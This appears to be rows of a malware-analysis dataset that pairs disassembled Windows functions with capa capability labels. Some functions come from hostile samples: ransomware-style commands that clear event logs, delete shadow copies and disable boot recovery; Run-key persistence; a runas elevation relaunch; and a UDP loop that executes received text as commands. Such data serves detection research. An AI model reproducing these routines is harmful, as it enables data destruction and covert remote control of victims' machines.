joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140114880
Capabilities:
Delete file

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1402c4148]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rsi, r8
mov rbx, rdx
mov r8, rdx
lea rdx, [rbp - 0x30]
call fcn.140115440
nop
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
xor r14d, r14d
mov qword [rbp - 0x50], r14
mov word [rbp - 0x48], ax
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.14011c3b0
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x50]
mov qword [rbp - 0x40], rax
mov byte [rbp - 0x38], r14b
mov rcx, qword [rbp - 0x50]
test rcx, rcx
jne 0x140114908
xor dil, dil
jmp 0x140114926
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, 0xffffff7f
je 0x14011491f
xor dil, dil
jmp 0x140114926
mov byte [rbp - 0x48], 1
mov dil, 1
mov byte [rbp - 0x38], dil
mov byte [rbp - 0x60], 0
lea r9, [rbp - 0x60]
mov r8, rsi
mov rdx, rbx
call fcn.140114a10
test al, al
jne 0x14011495a
cmp byte [rbp - 0x60], al
je 0x14011495a
cmp qword [rbx + 0x18], 8
jb 0x140114950
mov rbx, qword [rbx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
test dil, dil
je 0x140114972
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14011496e
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov byte [rbp - 0x48], 0
mov qword [rbp - 0x40], r14
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140114989
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x50], r14
mov word [rbp - 0x48], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x1401149cb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401149c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140114a01
call fcn.140187064
movdqa xmm0, xmmword [0x14024e320]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], r14w
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140187610
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.140199e4c
int3
Function at 0x140118580
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x70
mov qword [rax - 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov rsi, rcx
xorps xmm0, xmm0
movdqu xmmword [rax - 0x40], xmm0
movdqa xmm1, xmmword [0x14024e320]
movdqu xmmword [rax - 0x40], xmm1
xor ebp, ebp
mov word [rax - 0x50], bp
lea r8d, [rbp + 0xc]
lea rdx, str.wintrust.dll
lea rcx, [rax - 0x50]
call fcn.140006b60
nop
call fcn.1400dbbd0
mov rcx, rax
lea rdx, [rsp + 0x28]
call fcn.1400dbc80
mov rbx, rax
mov rdx, qword [rsp + 0x40]
cmp rdx, 8
jb 0x140118626
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140118621
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401187cd
call fcn.140187064
movdqa xmm0, xmmword [0x14024e320]
movdqu xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x28], bp
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x14024e320]
movdqu xmmword [rsp + 0x58], xmm1
mov word [rsp + 0x48], bp
mov r8d, 0xb
lea rdx, str.crypt32.dll
lea rcx, [rsp + 0x48]
call fcn.140006b60
nop
call fcn.1400dbbd0
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.1400dbc80
mov rdi, rax
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x1401186c4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401186bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401187c7
call fcn.140187064
movdqa xmm0, xmmword [0x14024e320]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], bp
test rbx, rbx
je 0x1401187b1
test rdi, rdi
je 0x1401187b1
lea rdx, str.CryptCATAdminCalcHashFromFileHandle
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 8], rax
lea rdx, str.CryptCATAdminAcquireContext
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x10], rax
lea rdx, str.CryptCATAdminEnumCatalogFromHash
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x18], rax
lea rdx, str.CryptCATCatalogInfoFromContext
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x20], rax
lea rdx, str.CryptCATAdminReleaseCatalogContext
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x28], rax
lea rdx, str.CryptCATAdminReleaseContext
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x30], rax
lea rdx, str.WTHelperProvDataFromStateData
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x38], rax
lea rdx, str.WTHelperGetProvSignerFromChain
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x40], rax
lea rdx, str.WinVerifyTrust
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x48], rax
lea rdx, str.CertNameToStrW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi + 0x50], rax
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140199e4c
int3
call fcn.140199e4c
int3
Function at 0x140001070
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x4f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
xorps xmm0, xmm0
lea rdx, str.cmd.exe__C__s
xor eax, eax
movaps xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0xd0], rax
mov r8, rcx
movups xmmword [rsp + 0xb0], xmm0
xor ebx, ebx
lea rcx, [rsp + 0xe0]
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rsp + 0x90], xmm0
mov word [rsp + 0xb0], bx
movups xmmword [rsp + 0xc0], xmm0
psrldq xmm0, 0xc
movd eax, xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
or eax, 1
mov dword [rsp + 0xac], eax
xor eax, eax
mov qword [rsp + 0x60], rax
call fcn.140001010
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001176
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.140001340
add rsp, 0x4f0
pop rbx
ret

Function at 0x140001190
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub rsp, 0x1b8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov r8d, 0x104
lea rdx, [rsp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [rsp + 0x20], 0x70
xor eax, eax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x84], rax
mov dword [rsp + 0x8c], eax
lea rax, str.runas
movups xmmword [rsp + 0x34], xmm0
movups xmmword [rsp + 0x24], xmm0
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x90]
movups xmmword [rsp + 0x44], xmm0
mov qword [rsp + 0x38], rax
movups xmmword [rsp + 0x54], xmm0
mov dword [rsp + 0x50], 1
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001230
Capabilities:
Clear windows event logs
Delete volume shadow copies
Disable automatic windows recovery features
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
mov word [rsp + 0x74], 0x500
lea rax, [rsp + 0x68]
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
mov r8d, 0x20
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x68], rbx
mov dword [rsp + 0x70], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1400012c2
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1400012b7
mov dword [rsp + 0x60], ebx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x60], ebx
je 0x140001328
lea rcx, str.bcdedit__set_default_recoveryenabled_No
call fcn.140001070
lea rcx, str.bcdedit__set_default_bootstatuspolicy_ignoreallfailures
call fcn.140001070
lea rcx, str.del__s__f__q_C:.vhd
call fcn.140001070
lea rcx, str.del__s__f__q_C:.bak
call fcn.140001070
lea rcx, str.wevtutil_cl_Application__wevtutil_cl_Security__wevtutil_cl_System
call fcn.140001070
lea rcx, str.vssadmin_delete_shadows__all__quiet
call fcn.140001070
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140001340
add rsp, 0x80
pop rbx
ret
call fcn.140001190
int3

Function at 0x140001c34
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c7e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c7e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c7e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c7e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c7e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c80
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000ab30]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000ab40]
mov dword [rax], 1
mov rax, qword [0x14000ab50]
mov dword [rax], 1
mov rax, qword [0x14000aae0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000ab20]
mov dword [0x14000f00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000ac00]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000abe0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000aa90]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400015de
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x14000168b
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.strlen
lea edx, [rax + 1]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp + 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyClientApp
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x140001679
lea rax, str.______n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x14000169a
lea rax, str._____n
mov rcx, rax
call sym.printf
nop
add rsp, 0x40
pop rbp
ret
Function at 0x1400016a1
Capabilities:
Get common file path
Move file

Disassembly:
push rbp
sub rsp, 0x490
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x300]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1a
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
test eax, eax
je 0x1400016f4
lea rax, str._______appdata__n
mov rcx, rax
call sym.printf
jmp 0x140001802
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x140001727
lea rax, str._______n
mov rcx, rax
call sym.printf
jmp 0x140001802
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0x104
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__splitpath_s]
call rax
lea rcx, [rbp + 0x300]
lea rax, [rbp + 0x1f0]
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__snprintf]
call rax
lea rdx, [rbp + 0x1f0]
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
test eax, eax
je 0x1400017f2
lea rax, [rbp + 0x1f0]
mov rdx, rax
lea rax, str.____s_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.add_to_startup
jmp 0x140001802
lea rax, str.____n
mov rcx, rax
call sym.printf
nop
add rsp, 0x490
pop rbp
ret
Function at 0x14000180b
Capabilities:
Create udp socket
Execute command
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0xa00
lea rbp, [rsp + 0x80]
call dbg.__main
call sym.move_to_appdata
lea rax, [rbp + 0x7d0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x14000185a
lea rax, str.__Winsock_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001aef
mov r8d, 0x11
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x978], rax
cmp qword [rbp + 0x978], 0xffffffffffffffff
jne 0x1400018a6
lea rax, [0x14000a258]
mov rcx, rax
call sym.perror
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x140001aef
lea rax, [rbp + 0x7c0]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x7c0], 2
mov ecx, 0x1f90
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x7c2], ax
lea rax, str.127.0.0.1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x7c4], eax
lea rax, str.REQUEST_ID
mov qword [rbp + 0x970], rax
mov rax, qword [rbp + 0x970]
mov rcx, rax
call sym.strlen
mov r8d, eax
mov rdx, qword [rbp + 0x970]
mov rax, qword [rbp + 0x978]
mov dword [rsp + 0x28], 0x10
lea rcx, [rbp + 0x7c0]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_sendto]
call rax
lea rax, str.____ID__n
mov rcx, rax
call sym.printf
mov dword [rbp + 0x3bc], 0x10
lea rdx, [rbp + 0x3c0]
mov rax, qword [rbp + 0x978]
lea rcx, [rbp + 0x3bc]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x7c0]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recvfrom]
call rax
mov dword [rbp + 0x96c], eax
mov eax, dword [rbp + 0x96c]
cdqe
mov byte [rbp + rax + 0x3c0], 0
lea rax, [rbp + 0x3c0]
mov rdx, rax
lea rax, str.__ID:__s_n
mov rcx, rax
call sym.printf
lea rdx, [rbp + 0x3c0]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, str.ID:_s
mov edx, 0x400
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov r8d, eax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x978]
mov dword [rsp + 0x28], 0x10
lea rcx, [rbp + 0x7c0]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_sendto]
call rax
lea rax, [rbp + 0x3c0]
mov rdx, rax
lea rax, str.___ID:__s_n
mov rcx, rax
call sym.printf
lea rdx, [rbp + 0x3c0]
mov rax, qword [rbp + 0x978]
lea rcx, [rbp + 0x3bc]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x7c0]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recvfrom]
call rax
mov dword [rbp + 0x96c], eax
mov eax, dword [rbp + 0x96c]
cdqe
mov byte [rbp + rax + 0x3c0], 0
lea rax, [rbp + 0x3c0]
mov rdx, rax
lea rax, str._:__s_n
mov rcx, rax
call sym.printf
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.system
mov dword [rbp + 0x968], eax
cmp dword [rbp + 0x968], 0xffffffff
jne 0x140001a4c
lea rax, str.__
mov rcx, rax
call sym.perror
jmp 0x140001a4c
add rsp, 0xa00
pop rbp
ret
Function at 0x140001e00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001e70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000f104]
mov rbx, rcx
test esi, esi
jle 0x140001fa0
mov rax, qword [0x14000f108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001ebb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001f45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ea0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001fc2
mov rax, qword [0x14000f108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001fa7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001f3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001f50
add dword [0x14000f104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000f108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001f3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001ec8
mov rax, qword [0x14000f108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002530
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000f160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f140]
test rbx, rbx
je 0x14000258c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002583
test rsi, rsi
je 0x140002583
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002568
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400027a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400027b8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400027c0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400027d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000281d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002814
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000281f
add rax, 0x28
cmp rax, r9
jne 0x140002800
xor eax, eax
ret

Function at 0x140002820
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400028b0
mov rdx, qword [0x14000aae0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000289e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000289e
cmp word [rax + 0x18], 0x20b
jne 0x14000289e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400028b0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002889
add rbx, 0x28
cmp rbx, rdi
je 0x1400028b0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002880
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400028c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000aae0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400028e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400028e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400028e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000293d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002934
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400028e0
add rax, 0x28
cmp rax, r9
jne 0x140002920
xor eax, eax
ret

Function at 0x140002940
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000aae0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000295f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002968
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000295f
movzx ecx, word [rax + 6]
mov eax, ecx
ret